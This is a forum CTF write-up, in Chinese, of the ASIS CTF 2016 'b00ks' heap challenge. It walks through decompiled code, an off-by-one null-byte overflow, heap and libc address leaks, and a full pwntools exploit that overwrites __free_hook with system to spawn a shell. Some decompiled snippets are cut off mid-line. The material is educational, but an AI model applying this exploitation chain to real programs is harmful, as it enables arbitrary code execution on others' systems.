Asis CTF 2016 b00ks WP

查看 25|回复 0
作者:mick0960   
环境:ubuntu16.04 glibc版本:2.23
分析
按照惯例用checksec查看下保护

可以看到除了canary保护,其余保护全开
再用IDA进行代码审计
代码审计
  • main函数

    __int64 __fastcall main(int a1, char **a2, char **a3)
    {
      struct _IO_FILE *v3; // rdi
      int v5; // [rsp+1Ch] [rbp-4h]
      setvbuf(stdout, 0LL, 2, 0LL);
      v3 = stdin;
      setvbuf(stdin, 0LL, 1, 0LL);
      welcome();
      author_name();
      while ( 1 )
      {
        v5 = menu();
        if ( v5 == 6 )
          break;
        switch ( v5 )
        {
          case 1:
            create();
            break;
          case 2:
            delete(v3);
            break;
          case 3:
            edit(v3);
            break;
          case 4:
            print();
            break;
          case 5:
            author_name();
            break;
          default:
            v3 = (struct _IO_FILE *)"Wrong option";
            puts("Wrong option");
            break;
        }
      }
      puts("Thanks to use our library software");
      return 0LL;
    }
    为了后续的代码审计,我这里给函数名都自定义了一个名字。
    前几行代码定义了几个变量,然后关闭了缓冲区。
    后面调用各种函数,然后进入while循环。
    整个main函数没什么好看的。
  • welcome函数

    int welcome()
    {
      return puts("Welcome to ASISCTF book library");
    }
    打印了一行字,也没啥好看的
  • author_name函数

    __int64 sub_B6D()
    {
      printf("Enter author name: ");
      if ( !(unsigned int)my_read(off_202018, 32LL) )
        return 0LL;
      printf("fail to read author_name");
      return 1LL;
    }
    主要功能是往off_202018写入大小不超过32的数据
    这里注意off_202018是在bss段的
  • *my_read(_BYTE a1, int a2)函数**

    __int64 __fastcall my_read(_BYTE *a1, int a2)
    {
      int i; // [rsp+14h] [rbp-Ch]
      if ( a2
    开始定义了一个变量i
    然后进入if语句,判断a2(也可以理解为输入大小)是否合法,不合法即返回0
    接着进入循环语句:
    第一个if:每次往a1中写入一个字节,读取失败则返回1
    第二个if:判断当前是否为换行符,10 == \x0a =='\n'
    然后自增a1
    最后判断是否读完,然后结束循环
    循环结束后,将a1最后一个字节设为0,最后返回0
  • menu函数

    __int64 sub_A89()
    {
      int v1; // [rsp+Ch] [rbp-4h] BYREF
      v1 = -1;
      puts("\n1. Create a book");
      puts("2. Delete a book");
      puts("3. Edit a book");
      puts("4. Print book detail");
      puts("5. Change current author name");
      puts("6. Exit");
      printf("> ");
      __isoc99_scanf("%d", &v1);
      if ( v1  0 )
        return (unsigned int)v1;
      else
        return 0xFFFFFFFFLL;
    }
    普普通通的一个菜单
  • create函数

    __int64 sub_F55()
    {
      int v1; // [rsp+0h] [rbp-20h] BYREF
      int v2; // [rsp+4h] [rbp-1Ch]
      void *v3; // [rsp+8h] [rbp-18h]
      void *ptr; // [rsp+10h] [rbp-10h]
      void *v5; // [rsp+18h] [rbp-8h]
      v1 = 0;
      printf("\nEnter book name size: ");
      __isoc99_scanf("%d", &v1);
      if ( v1
    定义了几个变量:
    v1,存name和description的size
    *ptr,name所在chunk的指针
    v5,description所在chunk的指针
    v3,整个book所在chunk的指针
    v2,可以理解为book数组的索引
    整个函数流程就是:写入name_size -> 写入name -> 写入description_size -> 写入description -> 最后把id name指针 description指针 description大小写入到books结构体中
    注意,这里存book数组的指针为off_202010,与off_202018(即author_name)刚好相距0x20
    所以当author_name大小刚好为0x20时,会溢出到off_202010,存在off-by-one漏洞,因为最后溢出了一个'\x00'
  • edit函数

    __int64 edit()
    {
      int v1; // [rsp+8h] [rbp-8h] BYREF
      int i; // [rsp+Ch] [rbp-4h]
      printf("Enter the book id you want to edit: ");
      __isoc99_scanf("%d", &v1);
      if ( v1 > 0 )
      {
        for ( i = 0; i
    先写入函数id
    如果id大于0,循环book数组,找到id对应的书,
    如果i == 20,就报错,说明整个book数组最多可以存20个book结构体,否则覆写之前的description
  • print函数

    int sub_D1F()
    {
      __int64 v0; // rax
      int i; // [rsp+Ch] [rbp-4h]
      for ( i = 0; i
    主要功能就是打印所有book数组中的book结构体的信息
    思路分析
    到这里代码审计就先暂停一下,理一下思路
    回顾create函数,其通过malloc来创建name和description和book结构体对应的chunk,因此他们的地址都是有一定关系的,而author_name又会把book结构体所在地址低两位用'\x00'给覆盖,
    所以我们可以在写完author_name后,创建一个book结构体,然后通过print函数把结构体在堆中的地址给打印出来,达到泄露堆地址的目的
    再接着调用author_name函数,再次把第一个book结构体的低两位给覆盖
    因为name description book结构体之间的地址都是有关系的,因此我们可以控制malloc的大小,让description的后两位变成'\x00',
    最重要的是这里又给了修改description的功能,所以我们就可以通过修改某一个book结构体的description,伪造一个book结构体,达到任意写地址的目的。
    解题过程
    解题思路:通过_free_hook来获取shell
    __free_hook可以在free前或者free后执行一些我们想要执行的函数,比如system("/bin/sh")
    既然是利用__free_hook,那就必须得先获取libc基地址,我们从第一步开始
    获取堆地址
    先往author_name写入0x20个字符,然后创建一个book结构体,再print该结构体信息,达到泄露堆地址的目的
    def create(n_size,name,d_size,des):
        p.sendlineafter(">","1")
        p.recvuntil(":")
        p.sendline(str(n_size))
        p.recvuntil(":")
        p.sendline(name)
        p.recvuntil(":")
        p.sendline(str(d_size))
        p.recvuntil(":")
        p.sendline(des)
    def print_all():
        p.sendlineafter(">","4")
    '''往author中写入0x20个字节'''
    p.sendline(b'a'*0x20)
    '''创建一个book结构体'''
    create(0x1d0,"s1",0x40,"des1")
    '''打印信息'''
    print_all()
    p.recvuntil("Author: ")
    heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
    print(hex(heap_addr))

    具体的malloc大小得自己测试,不一定是我这个数字,可能环境的原因吧
    泄露libc基地址
    [ol]
  • 创建一个由mmap分配空间的堆,因为mmap创建的堆的地址和libc地址的偏移是固定的
    [/ol]
    mmap阈值,可以在glibc中的malloc.c中找到
    DEFAULT_MMAP_THRESHOLD     128 * 1024
    create(0x21000,"s2",0x21000,'des2')
  • 修改s1的description,伪造一个结构体,使其name和description指向s2的name,然后打印泄露mmap地址
    [/ol]
    def create(n_size,name,d_size,des):
        p.sendlineafter(">","1")
        p.recvuntil(":")
        p.sendline(str(n_size))
        p.recvuntil(":")
        p.sendline(name)
        p.recvuntil(":")
        p.sendline(str(d_size))
        p.recvuntil(":")
        p.sendline(des)
    def edit(id,content):
        p.sendlineafter(">","3")
        p.recvuntil(":")
        p.sendline(str(id))
        p.recvuntil(":")
        p.sendline(content)
    def edit_author():
        p.sendlineafter(">","5")
        p.sendline(b'a'*(0x20))
    def delete(id):
        p.sendlineafter(">","2")
        p.sendline(str(id))
    def print_all():
        p.sendlineafter(">","4")
    p.sendline(b'a'*0x20)
    create(0x1d0,"s1",0x40,"des1")
    create(0x21000,"s2",0x21000,'des2')
    print_all()
    p.recvuntil("Author: ")
    heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
    print(hex(heap_addr))
    gdb.attach(p,"b* main")
    payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
    edit(1,payload)
    edit_author()
    print_all()
    p.recvuntil("Description: ")
    mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(mmap_addr))
  • 使用vmmap命令查看libc基地址,计算mmap与其偏移
    [/ol]

    偏移 = 0x7f2caba03010 - 0x00007f2cab451000
    基地址 = mmap地址 - 偏移
    拿shell
    [ol]
  • 获取system、/bin/sh和__free_hook地址
    [/ol]
    offset = 0x5b2010
    libc_base = mmap_addr - offset
    free_hook = libc_base + libc.sym['__free_hook']
    sys = libc_base + libc.sym['system']
    binsh = libc_base + libc.search(b'/bin/sh').__next__()
  • 修改s1的description为"bin/sh"和"__free_hook"的地址,达到间接修改s2的name和description的目的。
    [/ol]
    payload = p64(binsh) + p64(free_hook)
    edit(1,payload)
  • 修改s2的description为"system"的地址,使得在free之前,执行system("/bin/sh")
    [/ol]
    payload = p64(sys)
    edit(2,payload)

    exp.py
    from pwn import *
    context(log_level = "debug")
    p = process('./b00ks')
    elf = ELF('./b00ks')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def create(n_size,name,d_size,des):
        p.sendlineafter(">","1")
        p.recvuntil(":")
        p.sendline(str(n_size))
        p.recvuntil(":")
        p.sendline(name)
        p.recvuntil(":")
        p.sendline(str(d_size))
        p.recvuntil(":")
        p.sendline(des)
    def edit(id,content):
        p.sendlineafter(">","3")
        p.recvuntil(":")
        p.sendline(str(id))
        p.recvuntil(":")
        p.sendline(content)
    def edit_author():
        p.sendlineafter(">","5")
        p.sendline(b'a'*(0x20))
    def delete(id):
        p.sendlineafter(">","2")
        p.sendline(str(id))
    def print_all():
        p.sendlineafter(">","4")
    p.sendline(b'a'*0x20)
    create(0x1d0,"s1",0x40,"des1")
    create(0x21000,"s2",0x21000,'des2')
    print_all()
    p.recvuntil("Author: ")
    heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
    print(hex(heap_addr))
    gdb.attach(p,"b* main")
    payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
    edit(1,payload)
    edit_author()
    print_all()
    p.recvuntil("Description: ")
    mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(mmap_addr))
    offset = 0x5b2010
    libc_base = mmap_addr - offset
    free_hook = libc_base + libc.sym['__free_hook']
    sys = libc_base + libc.sym['system']
    binsh = libc_base + libc.search(b'/bin/sh').__next__()
    payload = p64(binsh) + p64(free_hook)
    edit(1,payload)
    payload = p64(sys)
    edit(2,payload)
    p.interactive()

    函数, 地址

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部